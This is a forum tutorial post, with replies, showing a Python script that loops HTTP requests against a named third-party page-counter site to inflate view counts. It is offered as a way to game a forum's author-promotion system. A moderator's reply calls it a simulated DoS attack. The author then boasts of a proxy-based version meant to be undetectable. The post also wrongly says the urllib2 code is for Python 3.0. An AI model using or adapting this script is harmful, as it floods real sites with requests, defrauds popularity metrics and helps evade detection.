Hey today in this tutorial of mine I will demonstrate how to mess up the basic/inelegant counter scrips on the web-pages counting view count etc.. Note : The info provided by this page is just for educational purposes and should not be used for unethical purposes The Target I am using Another PhpPageCounter by:WGREP [http://www.wgrep.com/phpcounter.php as a target because its the top rated counter by Hotscripts [http://www.hotscripts.com/category/php/scripts-programs/counters/] The Code This code is for Python 3.0 if using previous versions change 'urllib2' occurrences in the page to urllib...To know why Read :- http://docs.python.org/library/urllib.html Code: import urllib2 counter = 0; hostname = "http://www.wgrep.com/phpcounter.php"; print("Messing up Counter of " +hostname); try : while 1: source = urllib2.urlopen(hostname).read() counter = counter + 1; print(counter); except : print("\nThanks for using CounterMess\n\tMade By : lionaneesh \n\tAKA\n\tExp|i(t-Hax0r") Uses If any forum is using this script you can increase the visitors count to your article and easily be promoted to Author etc.. I hope G4E is safe!!! References Thanks for viewing my Article... Have fun...and keep the comments coming..
Don't attempt such automated page loads because that can lead to a ban of your account / ip and it will be handled by our host where we have the firewall and then nothing can be done unless you change your ISP or use a proxy. Also articles views is one of the way to understand how popular those articles are but that is not the only way because we even track the source of the users and that is where your script can be of no use. Now coming to your articles this is nothing but a way to simulate DoS attack and so be careful on those things.
YeaH!!!!!!! I understand this and thats what i wrote in the beginning of my article... Apologizes... But i only wanted users to get something from it..
Yeah, I made another one.. it uses proxy's so that it makes us undetectable and can bypass any counter on the net!!!
